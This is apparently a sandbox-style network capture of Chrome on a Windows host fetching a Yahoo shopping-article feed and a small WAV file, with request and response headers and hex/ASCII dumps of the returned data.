Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
166	192.168.2.4	49930	69.147.92.11	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:41:58 UTC	2032	OUT	GET /caas/content/article/?uuid=8ef8bd59-c0f9-498f-b9d3-9b7d58497a48,44fa19c4-216a-4b5e-941f-e745a6bb82b1,2c163bfe-0479-4986-a62c-3f1337766faf,7c93543a-ce9d-4d62-b6c5-a4acbaa51bd7,3fc502a5-3606-4eaa-a964-da4d6fea6cb0,3740ee8d-0911-4990-aeb6-fa29ecefcb01&appid=news_web&device=desktop&lang=en-US&region=US&site=fp&partner=none&bucket=drop_heimdall_homepage_control_bucket,MimicControlv2-copy,homepage_taboola_benji_1_control,seamless&features=enableEVPlayer,enableOverrideSpaceId,contentFeedbackEnabled,enableAdFeedbackV2,enableInArticleAd,enableOpinionLabel,enableSingleSlotting,enableVideoDocking,outStream,showCommentsIconWithDynamicCount,enableStickyAds,showCommentsIconInShareSec,enableAdSlotsNewMap,enableGAMAds,enableGAMAdsOnLoad,enableFinancePremiumTicker,enableAdLiteUpSellFeedback,enableCommentsCountInViewCommentsCta,enableRRAdsSlots,enableRRAdsSlotsWithJAC,newsModal,enableViewCommentsCTA&rid=1sbetl5j2qvpa HTTP/1.1 Host: www.yahoo.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" x-webp: 1 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A1=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A3=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A1S=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; cmp=t=1714257709&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; axids=gam=y-YhU_4VlE2uKeNX7PHM8XonrbkezQHb0Z~A&dv360=eS1wZjlTZkxORTJ1RlFnUHQ3U1kxNlcuZkxvcHoyVTNzQX5B&ydsp=y-jbTZJGZE2uLrRZGRFNskE6ZV5Anw2j42~A&tbla=y-JBfSm7FE2uKAvLz8j1WHQk70S7DkHdso~A; tbla_id=5a70d3d2-b192-4103-be6f-b86fec483fbc-tuctd2704b2
2024-04-27 22:41:59 UTC	1268	IN	HTTP/1.1 200 OK x-powered-by: Express access-control-allow-credentials: true access-control-allow-methods: GET, OPTIONS access-control-allow-headers: Origin, X-Requested-With, Content-Type, Accept content-type: application/json; charset=utf-8 content-length: 866678 etag: W/"d3976-o8yF97tca5Tyyv+yV4N/QlnP+SE" vary: Accept-Encoding date: Sat, 27 Apr 2024 22:41:59 GMT x-envoy-upstream-service-time: 390 server: ATS Age: 2 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: sandbox allow-forms allow-same-origin allow-scripts allow-popups allow-popups-to-escape-sandbox allow-presentation; report-uri https://csp.yahoo.com/beacon/csp?src=ats&site=frontpage&region=US&lang=en-US&device=desktop&yrid=4qdoj6hj2qvpm&partner=; frame-ancestors 'self' https://.techcrunch.com https://.yahoo.com https://.aol.com https://.huffingtonpost.com https://.oath.com https://.search.yahoo.com https://.search.aol.com https://.search.huffpost.com htts://.verizonmedia.com https://.publishing.oath.com Referrer-Policy: no-referrer-when-downgrade Connection: close Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff
2024-04-27 22:41:59 UTC	1300	IN	Data Raw: 7b 22 69 74 65 6d 73 22 3a 5b 7b 22 64 61 74 61 22 3a 7b 22 70 61 72 74 6e 65 72 44 61 74 61 22 3a 7b 22 61 64 4d 65 74 61 22 3a 7b 22 68 61 73 68 74 61 67 22 3a 22 61 6d 61 7a 6f 6e 3b 6e 65 77 73 3b 77 65 65 6b 65 6e 64 2d 72 6f 75 6e 64 75 70 3b 73 68 6f 70 70 69 6e 67 3b 73 68 6f 70 70 69 6e 67 3b 68 6f 62 62 69 65 73 22 2c 22 69 73 53 75 70 70 6c 79 53 65 67 6d 65 6e 74 22 3a 22 66 61 6c 73 65 22 2c 22 6c 61 6e 67 22 3a 22 65 6e 2d 55 53 22 2c 22 72 65 67 69 6f 6e 22 3a 22 55 53 22 2c 22 72 73 22 3a 22 6c 6d 73 69 64 3a 61 30 56 30 57 30 30 30 30 30 4a 49 62 6d 4d 55 41 54 3b 72 65 76 73 70 3a 79 61 68 6f 6f 5f 6c 69 66 65 5f 73 68 6f 70 70 69 6e 67 5f 32 38 31 3b 6c 70 73 74 61 69 64 3a 38 65 66 38 62 64 35 39 2d 63 30 66 39 2d 34 39 38 66 2d 62 39 Data Ascii: {"items":[{"data":{"partnerData":{"adMeta":{"hashtag":"amazon;news;weekend-roundup;shopping;shopping;hobbies","isSupplySegment":"false","lang":"en-US","region":"US","rs":"lmsid:a0V0W00000JIbmMUAT;revsp:yahoo_life_shopping_281;lpstaid:8ef8bd59-c0f9-498f-b9
2024-04-27 22:41:59 UTC	1300	IN	Data Raw: 3a 66 61 6c 73 65 2c 22 68 61 73 59 61 68 6f 6f 56 69 64 65 6f 22 3a 66 61 6c 73 65 2c 22 69 73 4c 6f 6e 67 41 72 74 69 63 6c 65 22 3a 66 61 6c 73 65 2c 22 70 6f 74 65 6e 74 69 61 6c 53 6c 6f 74 73 22 3a 30 2c 22 6f 75 74 73 74 72 65 61 6d 41 64 50 6f 73 69 74 69 6f 6e 22 3a 2d 31 2c 22 72 65 61 64 4d 6f 72 65 50 6f 73 69 74 69 6f 6e 22 3a 2d 31 2c 22 74 6f 74 61 6c 50 61 72 61 67 72 61 70 68 73 22 3a 30 7d 2c 22 63 6f 6e 74 65 6e 74 54 79 70 65 22 3a 22 73 74 6f 72 79 22 2c 22 65 64 69 74 6f 72 69 61 6c 50 69 63 6b 73 4c 69 73 74 22 3a 22 36 32 30 30 66 37 63 64 2d 34 38 35 63 2d 34 34 61 36 2d 39 36 34 33 2d 30 30 39 37 66 62 35 66 38 30 63 39 22 2c 22 65 6e 74 69 74 69 65 73 22 3a 5b 7b 22 74 65 72 6d 22 3a 22 57 49 4b 49 49 44 3a 41 6d 61 7a 6f 6e 5f Data Ascii: :false,"hasYahooVideo":false,"isLongArticle":false,"potentialSlots":0,"outstreamAdPosition":-1,"readMorePosition":-1,"totalParagraphs":0},"contentType":"story","editorialPicksList":"6200f7cd-485c-44a6-9643-0097fb5f80c9","entities":[{"term":"WIKIID:Amazon_
2024-04-27 22:41:59 UTC	1300	IN	Data Raw: 43 6f 6e 74 65 6e 74 22 3a 66 61 6c 73 65 2c 22 69 73 49 6d 6d 65 72 73 69 76 65 43 6f 6e 74 65 6e 74 22 3a 66 61 6c 73 65 2c 22 69 73 4f 72 69 67 69 6e 61 6c 43 6f 6e 74 65 6e 74 22 3a 74 72 75 65 2c 22 69 73 50 65 72 73 6f 6e 61 6c 46 69 6e 61 6e 63 65 41 72 74 69 63 6c 65 22 3a 66 61 6c 73 65 2c 22 69 73 53 70 6f 6e 73 6f 72 65 64 43 6f 6e 74 65 6e 74 22 3a 66 61 6c 73 65 2c 22 6b 65 79 77 6f 72 64 73 22 3a 22 41 6d 61 7a 6f 6e 2c 20 41 6d 61 7a 6f 6e 20 64 65 61 6c 73 22 2c 22 6d 65 74 61 22 3a 7b 7d 2c 22 6d 6f 64 69 66 69 65 64 44 61 74 65 22 3a 22 46 72 69 2c 20 32 36 20 41 70 72 20 32 30 32 34 20 32 30 3a 31 34 3a 35 32 20 47 4d 54 22 2c 22 70 61 67 65 54 69 74 6c 65 22 3a 22 54 68 65 20 62 65 73 74 20 41 6d 61 7a 6f 6e 20 64 65 61 6c 73 20 74 6f Data Ascii: Content":false,"isImmersiveContent":false,"isOriginalContent":true,"isPersonalFinanceArticle":false,"isSponsoredContent":false,"keywords":"Amazon, Amazon deals","meta":{},"modifiedDate":"Fri, 26 Apr 2024 20:14:52 GMT","pageTitle":"The best Amazon deals to
2024-04-27 22:41:59 UTC	1300	IN	Data Raw: 67 2e 63 6f 6d 2f 6f 73 2f 63 72 65 61 74 72 2d 75 70 6c 6f 61 64 65 64 2d 69 6d 61 67 65 73 2f 32 30 32 34 2d 30 34 2f 63 35 31 31 31 39 62 30 2d 30 33 64 65 2d 31 31 65 66 2d 61 37 66 66 2d 34 61 31 62 30 65 36 35 32 66 35 63 22 2c 22 77 69 64 74 68 22 3a 31 32 30 30 2c 22 68 65 69 67 68 74 22 3a 36 37 35 7d 2c 22 73 68 6f 77 45 64 69 74 6f 72 69 61 6c 50 69 63 6b 73 50 6c 61 63 65 68 6f 6c 64 65 72 22 3a 66 61 6c 73 65 2c 22 73 6c 69 63 6b 54 68 75 6d 62 6e 61 69 6c 22 3a 7b 7d 2c 22 73 70 61 63 65 49 64 22 3a 22 31 31 39 37 37 39 32 34 34 36 22 2c 22 73 70 6f 6e 73 6f 72 65 64 43 6f 6e 74 65 6e 74 22 3a 66 61 6c 73 65 2c 22 73 75 6d 6d 61 72 79 22 3a 22 48 6f 77 20 64 6f 65 73 20 61 6e 20 65 76 65 72 6c 61 73 74 69 6e 67 20 4c 65 67 6f 20 62 6f 75 71 Data Ascii: g.com/os/creatr-uploaded-images/2024-04/c51119b0-03de-11ef-a7ff-4a1b0e652f5c","width":1200,"height":675},"showEditorialPicksPlaceholder":false,"slickThumbnail":{},"spaceId":"1197792446","sponsoredContent":false,"summary":"How does an everlasting Lego bouq
2024-04-27 22:41:59 UTC	204	IN	Data Raw: 65 49 64 20 63 6f 6e 74 65 6e 74 46 65 65 64 62 61 63 6b 45 6e 61 62 6c 65 64 20 65 6e 61 62 6c 65 41 64 46 65 65 64 62 61 63 6b 56 32 20 65 6e 61 62 6c 65 49 6e 41 72 74 69 63 6c 65 41 64 20 65 6e 61 62 6c 65 4f 70 69 6e 69 6f 6e 4c 61 62 65 6c 20 65 6e 61 62 6c 65 53 69 6e 67 6c 65 53 6c 6f 74 74 69 6e 67 20 65 6e 61 62 6c 65 56 69 64 65 6f 44 6f 63 6b 69 6e 67 20 6f 75 74 53 74 72 65 61 6d 20 73 68 6f 77 43 6f 6d 6d 65 6e 74 73 49 63 6f 6e 57 69 74 68 44 79 6e 61 6d 69 63 43 6f 75 6e 74 20 65 6e 61 62 6c 65 53 74 69 63 6b 79 41 64 73 20 73 68 6f 77 43 6f 6d 6d 65 6e 74 73 49 63 6f 6e 49 6e 53 68 61 72 Data Ascii: eId contentFeedbackEnabled enableAdFeedbackV2 enableInArticleAd enableOpinionLabel enableSingleSlotting enableVideoDocking outStream showCommentsIconWithDynamicCount enableStickyAds showCommentsIconInShar
2024-04-27 22:41:59 UTC	1300	IN	Data Raw: 65 53 65 63 20 65 6e 61 62 6c 65 41 64 53 6c 6f 74 73 4e 65 77 4d 61 70 20 65 6e 61 62 6c 65 47 41 4d 41 64 73 20 65 6e 61 62 6c 65 47 41 4d 41 64 73 4f 6e 4c 6f 61 64 20 65 6e 61 62 6c 65 46 69 6e 61 6e 63 65 50 72 65 6d 69 75 6d 54 69 63 6b 65 72 20 65 6e 61 62 6c 65 41 64 4c 69 74 65 55 70 53 65 6c 6c 46 65 65 64 62 61 63 6b 20 65 6e 61 62 6c 65 43 6f 6d 6d 65 6e 74 73 43 6f 75 6e 74 49 6e 56 69 65 77 43 6f 6d 6d 65 6e 74 73 43 74 61 20 65 6e 61 62 6c 65 52 52 41 64 73 53 6c 6f 74 73 20 65 6e 61 62 6c 65 52 52 41 64 73 53 6c 6f 74 73 57 69 74 68 4a 41 43 20 6e 65 77 73 4d 6f 64 61 6c 20 65 6e 61 62 6c 65 56 69 65 77 43 6f 6d 6d 65 6e 74 73 43 54 41 5c 22 20 64 61 74 61 2d 61 73 73 65 74 73 3d 5b 5d 20 64 61 74 61 2d 64 65 76 69 63 65 3d 64 65 73 6b 74 Data Ascii: eSec enableAdSlotsNewMap enableGAMAds enableGAMAdsOnLoad enableFinancePremiumTicker enableAdLiteUpSellFeedback enableCommentsCountInViewCommentsCta enableRRAdsSlots enableRRAdsSlotsWithJAC newsModal enableViewCommentsCTA\" data-assets=[] data-device=deskt
2024-04-27 22:41:59 UTC	1300	IN	Data Raw: 5c 22 65 6e 61 62 6c 65 4f 70 69 6e 69 6f 6e 4c 61 62 65 6c 5c 22 3a 74 72 75 65 2c 5c 22 65 6e 61 62 6c 65 53 69 6e 67 6c 65 53 6c 6f 74 74 69 6e 67 5c 22 3a 74 72 75 65 2c 5c 22 65 6e 61 62 6c 65 56 69 64 65 6f 44 6f 63 6b 69 6e 67 5c 22 3a 74 72 75 65 2c 5c 22 6f 75 74 53 74 72 65 61 6d 5c 22 3a 74 72 75 65 2c 5c 22 73 68 6f 77 43 6f 6d 6d 65 6e 74 73 49 63 6f 6e 57 69 74 68 44 79 6e 61 6d 69 63 43 6f 75 6e 74 5c 22 3a 74 72 75 65 2c 5c 22 65 6e 61 62 6c 65 53 74 69 63 6b 79 41 64 73 5c 22 3a 74 72 75 65 2c 5c 22 73 68 6f 77 43 6f 6d 6d 65 6e 74 73 49 63 6f 6e 49 6e 53 68 61 72 65 53 65 63 5c 22 3a 74 72 75 65 2c 5c 22 65 6e 61 62 6c 65 41 64 53 6c 6f 74 73 4e 65 77 4d 61 70 5c 22 3a 74 72 75 65 2c 5c 22 65 6e 61 62 6c 65 47 41 4d 41 64 73 5c 22 3a 74 Data Ascii: \"enableOpinionLabel\":true,\"enableSingleSlotting\":true,\"enableVideoDocking\":true,\"outStream\":true,\"showCommentsIconWithDynamicCount\":true,\"enableStickyAds\":true,\"showCommentsIconInShareSec\":true,\"enableAdSlotsNewMap\":true,\"enableGAMAds\":t
2024-04-27 22:41:59 UTC	1287	IN	Data Raw: 33 20 31 37 2e 39 35 33 38 20 31 31 2e 39 39 34 39 4c 32 30 2e 34 38 37 33 20 31 31 2e 39 38 36 39 4c 32 32 2e 37 34 32 37 20 36 2e 35 31 36 38 36 43 32 33 2e 39 38 33 20 33 2e 35 30 38 32 39 20 32 34 2e 39 39 38 37 20 31 2e 30 33 36 32 33 20 32 35 20 31 2e 30 32 33 33 39 43 32 35 2e 30 30 30 37 20 31 2e 30 31 30 34 39 20 32 33 2e 38 36 34 20 31 20 32 32 2e 34 37 33 32 20 31 48 31 39 2e 39 34 34 34 4c 31 39 2e 38 38 36 39 20 31 2e 31 33 32 34 38 5a 4d 31 20 36 2e 33 37 37 37 39 43 31 20 36 2e 33 38 37 32 20 32 2e 31 35 33 34 31 20 39 2e 31 33 31 39 35 20 33 2e 35 36 33 31 38 20 31 32 2e 34 37 37 31 43 34 2e 39 37 32 39 35 20 31 35 2e 38 32 32 32 20 36 2e 31 32 35 36 39 20 31 38 2e 35 37 34 32 20 36 2e 31 32 34 39 36 20 31 38 2e 35 39 32 35 43 36 2e 31 32 Data Ascii: 3 17.9538 11.9949L20.4873 11.9869L22.7427 6.51686C23.983 3.50829 24.9987 1.03623 25 1.02339C25.0007 1.01049 23.864 1 22.4732 1H19.9444L19.8869 1.13248ZM1 6.37779C1 6.3872 2.15341 9.13195 3.56318 12.4771C4.97295 15.8222 6.12569 18.5742 6.12496 18.5925C6.12
2024-04-27 22:41:59 UTC	1300	IN	Data Raw: 65 69 76 65 20 63 6f 6d 70 65 6e 73 61 74 69 6f 6e 2e 20 3c 61 20 68 72 65 66 3d 5c 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 6c 69 66 65 73 74 79 6c 65 2f 68 6f 77 2d 77 65 2d 72 65 76 69 65 77 2d 70 72 6f 64 75 63 74 73 2d 61 6e 64 2d 64 65 61 6c 73 2d 32 30 32 37 32 38 36 35 31 2e 68 74 6d 6c 5c 22 20 74 61 72 67 65 74 3d 5c 22 5f 62 6c 61 6e 6b 5c 22 3e 52 65 61 64 20 6d 6f 72 65 20 61 62 6f 75 74 20 68 6f 77 20 77 65 20 76 65 74 20 70 72 6f 64 75 63 74 73 20 61 6e 64 20 64 65 61 6c 73 3c 2f 61 3e 2e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 68 65 61 64 65 72 20 63 6c 61 73 73 3d 63 61 61 73 2d 68 65 61 64 65 72 3e 3c 21 2d 2d 46 23 66 5f 35 2d 2d 3e 3c 64 69 76 20 63 6c 61 73 73 3d 63 61 61 73 2d 6c 6f 67 6f 3e 3c 61 20 63 6c Data Ascii: eive compensation. <a href=\"https://www.yahoo.com/lifestyle/how-we-review-products-and-deals-202728651.html\" target=\"_blank\">Read more about how we vet products and deals</a>.</div></div><header class=caas-header>...F#f_5--><div class=caas-logo><a cl
2024-04-27 22:41:59 UTC	1300	IN	Data Raw: 20 73 63 6f 72 65 20 79 6f 75 20 62 69 67 20 73 61 76 69 6e 67 73 20 6f 6e 20 4d 6f 74 68 65 72 27 73 20 44 61 79 20 67 69 66 74 73 2c 20 68 6f 6d 65 20 61 70 70 6c 69 61 6e 63 65 73 20 61 6e 64 20 6c 61 70 74 6f 70 73 2c 20 6a 75 73 74 20 74 6f 20 6e 61 6d 65 20 61 20 66 65 77 2e 3c 2f 68 32 3e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 68 65 61 64 65 72 3e 3c 64 69 76 20 63 6c 61 73 73 3d 63 61 61 73 2d 63 6f 6e 74 65 6e 74 2d 62 79 6c 69 6e 65 2d 77 72 61 70 70 65 72 3e 3c 64 69 76 20 63 6c 61 73 73 3d 5c 22 63 61 61 73 2d 61 74 74 72 20 61 75 74 68 6f 72 20 63 6f 6d 6d 65 72 63 65 2d 63 61 61 73 2d 61 74 74 72 5c 22 3e 3c 61 20 63 6c 61 73 73 3d 5c 22 6c 69 6e 6b 20 72 61 70 69 64 2d 6e 6f 63 6c 69 63 6b 2d 72 65 73 70 20 63 61 61 73 2d 61 74 74 72 2d Data Ascii: score you big savings on Mother's Day gifts, home appliances and laptops, just to name a few.</h2></div></div></header><div class=caas-content-byline-wrapper><div class=\"caas-attr author commerce-caas-attr\"><a class=\"link rapid-noclick-resp caas-attr-

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
167	192.168.2.4	49932	69.147.92.12	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:41:58 UTC	568	OUT	GET /pv/static/misc/voice-start-202105050733.wav HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Accept-Encoding: identity;q=1, ;q=0 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: /* Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: audio Referer: https://www.yahoo.com/ Accept-Language: en-US,en;q=0.9 Range: bytes=0-
2024-04-27 22:41:59 UTC	934	IN	HTTP/1.1 206 Partial Content x-amz-id-2: 4rVWbmz6X9u8ry3Acn11sryHPRJdWYHRPSxaoUGdrNZfwvJp0EdnuPmTDTDRzhgtlvo3M2u496GDSdpuoIxY5x1ouLpxSvz+7atAK6XXS9E= x-amz-request-id: R6ATDA5VCXQEVAVA Date: Sat, 27 Apr 2024 18:33:39 GMT Last-Modified: Wed, 05 May 2021 07:33:16 GMT ETag: "8abfe6dfa7b0d9a5a4b7268155054740" x-amz-server-side-encryption: AES256 Cache-Control: max-age=31536000, public Expires: Mon, 05 May 2031 07:33:14 GMT x-amz-meta-x-ysws-access: public Accept-Ranges: bytes Content-Type: binary/octet-stream Server: ATS Content-Length: 189160 Referrer-Policy: no-referrer-when-downgrade Vary: Origin Age: 14901 Content-Range: bytes 0-189159/189160 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff ATS-Carp-Promotion: 1
2024-04-27 22:41:59 UTC	1300	IN	Data Raw: 52 49 46 46 e0 e2 02 00 57 41 56 45 66 6d 74 20 10 00 00 00 03 00 02 00 44 ac 00 00 20 62 05 00 08 00 20 00 64 61 74 61 68 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: RIFFWAVEfmt D b datah
2024-04-27 22:41:59 UTC	1300	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
2024-04-27 22:41:59 UTC	1300	IN	Data Raw: 03 a3 c1 3c 1f 1d 64 3c 4c 2c 65 3c ed 94 3f 3b 8b 71 40 3b 02 58 36 bc a0 34 37 bc 12 81 ce bc 9e 79 cf bc 21 91 18 bd 89 48 19 bd 62 75 45 bd 9e 62 46 bd f4 fb 67 bd 8e 12 69 bd 96 42 7b bd 41 70 7c bd f4 33 82 bd 44 d0 82 bd 0c 95 82 bd d9 31 83 bd 64 65 81 bd c7 00 82 bd f4 8a 81 bd 90 26 82 bd 69 14 80 bd 4b ae 80 bd 6b cc 7d bd 5b fd 7e bd 23 48 84 bd 10 e7 84 bd 12 f6 8b bd 3b 9e 8c bd 64 87 8f bd d6 33 90 bd cb 91 90 bd 7a 3f 91 bd 2b b3 8e bd 99 5e 8f bd ca 6f 87 bd 8e 12 88 bd 30 73 75 bd 51 9a 76 bd e4 5e 4d bd 1d 56 4e bd 04 f7 19 bd b8 b0 1a bd b2 0e ce bc 21 08 cf bc 95 32 4e bc 5f 2f 4f bc b8 88 ac 38 a9 69 aa 38 cc 2c 1f 3c 5a e5 1f 3c ed 72 87 3c 06 12 88 3c 0b 46 ba 3c f4 21 bb 3c 15 63 df 3c 5d 6b e0 3c 81 4e f5 3c f3 70 f6 3c cc b2 05 Data Ascii: <d<L,e<?;q@;X647y!HbuEbFgiB{Ap\|3D1de&iKk}[~#H;d3z?+^o0suQv^MVN!2N_/O8i8,<Z<r<<F<!<c<]k<N<p<
2024-04-27 22:41:59 UTC	1300	IN	Data Raw: 08 bb 7c bd 97 ec 7d bd 01 39 88 bd 8a dd 88 bd 6e e1 90 bd 5a 90 91 bd e8 80 95 bd 4e 35 96 bd 90 e9 98 bd 13 a2 99 bd e8 26 99 bd a3 df 99 bd 26 b4 91 bd f4 63 92 bd 49 52 83 bd db f0 83 bd 07 0e 60 bd d9 1c 61 bd e5 3a 34 bd 36 15 35 bd 6a d0 08 bd c2 76 09 bd 3d 97 b8 bc fb 78 b9 bc d1 eb 42 bc b5 de 43 bc 89 53 7f bb e3 54 80 bb 2e 4e f4 3a f8 27 f5 3a d4 3c e8 3b 0c 41 e9 3b 5c 24 37 3c ba f6 37 3c 76 4b 70 3c 6a 62 71 3c 7e d0 9f 3c 85 8b a0 3c eb ab d2 3c ef a3 d3 3c 31 0d 07 3d e8 ac 07 3d fb cf 28 3d 17 98 29 3d cc e7 4a 3d d5 d8 4b 3d 53 bc 6d 3d fe d6 6e 3d 8e 71 87 3d c6 12 88 3d e3 15 91 3d b0 c2 91 3d fa d8 92 3d e6 87 93 3d 6c ee 90 3d 0c 9b 91 3d b4 87 8a 3d b9 2c 8b 3d c4 87 7c 3d 77 b4 7d 3d cb 11 5e 3d fc 19 5f 3d 86 14 3e 3d 5b f6 3e Data Ascii: \|}9nZN5&&cIR`a:465jv=xBCST.N:':<;A;\$7<7<vKp<jbq<~<<<<1==(=)=J=K=Sm=n=q======l===,=\|=w}=^=_=>=[>
2024-04-27 22:41:59 UTC	1300	IN	Data Raw: c4 b4 72 bc a1 b2 25 bc 44 78 26 bc 9c c5 a9 bb 23 8f aa bb 8e 6a 3d ba db 3b 3e ba b0 48 6e 3b 9a 6a 6f 3b 6d 59 1c 3c 39 16 1d 3c 41 fa 8a 3c 7c a1 8b 3c e8 ca d0 3c c1 c5 d1 3c 4c a7 0f 3d d5 53 10 3d 53 1f 37 3d 0e fb 37 3d 34 36 5b 3d 3f 3d 5c 3d df da 78 3d 73 05 7a 3d c6 60 85 3d cc 00 86 3d 68 08 89 3d cf ac 89 3d 4d 32 89 3d ed d6 89 3d 92 e4 83 3d df 82 84 3d 08 b5 72 3d 89 d8 73 3d b2 96 5c 3d af 9f 5d 3d ff 7e 49 3d 2e 71 4a 3d e7 8f 38 3d ef 6d 39 3d ca 2b 2a 3d ac f8 2a 3d ad 4f 1d 3d 17 0d 1e 3d 9b 89 12 3d 34 3a 13 3d 40 b5 09 3d 55 5b 0a 3d 51 23 f7 3c b7 4d f8 3c 19 99 c8 3c d0 8b c9 3c 0a 58 8e 3c 1b 05 8f 3c cf 80 0a 3c ee 2b 0b 3c 34 61 29 bb 38 16 2a bb 95 ac 67 bc 76 bc 68 bc 05 a9 ce bc 81 9d cf bc 9b 13 12 bd 06 c1 12 bd 08 87 36 Data Ascii: r%Dx&#j=;>Hn;jo;mY<9<A<\|<<<L=S=S7=7=46[=?=\=x=sz=`==h==M2====r=s=\=]=~I=.qJ=8=m9=+==O===4:=@=U[=Q#<M<<<X<<<+<4a)8*gvh6
2024-04-27 22:41:59 UTC	1300	IN	Data Raw: ba 52 79 3d 1c 84 7a 3d 7f d5 71 3d f3 fd 72 3d 64 75 65 3d ff 8e 66 3d 9d 9b 5a 3d 39 a8 5b 3d 1c 1d 51 3d 7f 1e 52 3d c2 5c 47 3d 7a 52 48 3d e5 3e 40 3d 21 2c 41 3d 63 4e 3c 3d ef 36 3d 3d de 7a 38 3d e8 5e 39 3d bf e9 30 3d dd c4 31 3d 98 1b 21 3d cb e3 21 3d 2e 15 09 3d a7 c0 09 3d 2c c1 d7 3c 4a d2 d8 3c 80 1d 8f 3c d3 d7 8f 3c 31 c9 db 3b 0c 0d dd 3b f6 9d 91 bb ce 0f 92 bb 46 73 75 bc ac 7a 76 bc 32 7b c9 bc 1e 5d ca bc d7 de 04 bd 40 76 05 bd 2e 65 1c bd 9c 18 1d bd 17 a5 2c bd f7 6b 2d bd 99 cf 36 bd 7e a2 37 bd 49 23 3e bd 05 ff 3e bd 8f a9 44 bd fc 8c 45 bd c1 e0 49 bd 5d ca 4a bd fa ad 51 bd de a0 52 bd bb 85 5f bd 27 89 60 bd 3a 82 6e bd 97 97 6f bd a0 e2 79 bd 82 05 7b bd ba cb 80 bd c4 61 81 bd 27 05 82 bd 9b 9c 82 bd a5 b6 7e bd 30 df 7f Data Ascii: Ry=z=q=r=due=f=Z=9[=Q=R=\G=zRH=>@=!,A=cN<=6==z8=^9=0=1=!=!=.==,<J<<<1;;Fsuzv2{]@v.e,k-6~7I#>>DEI]JQR_'`:noy{a'~0
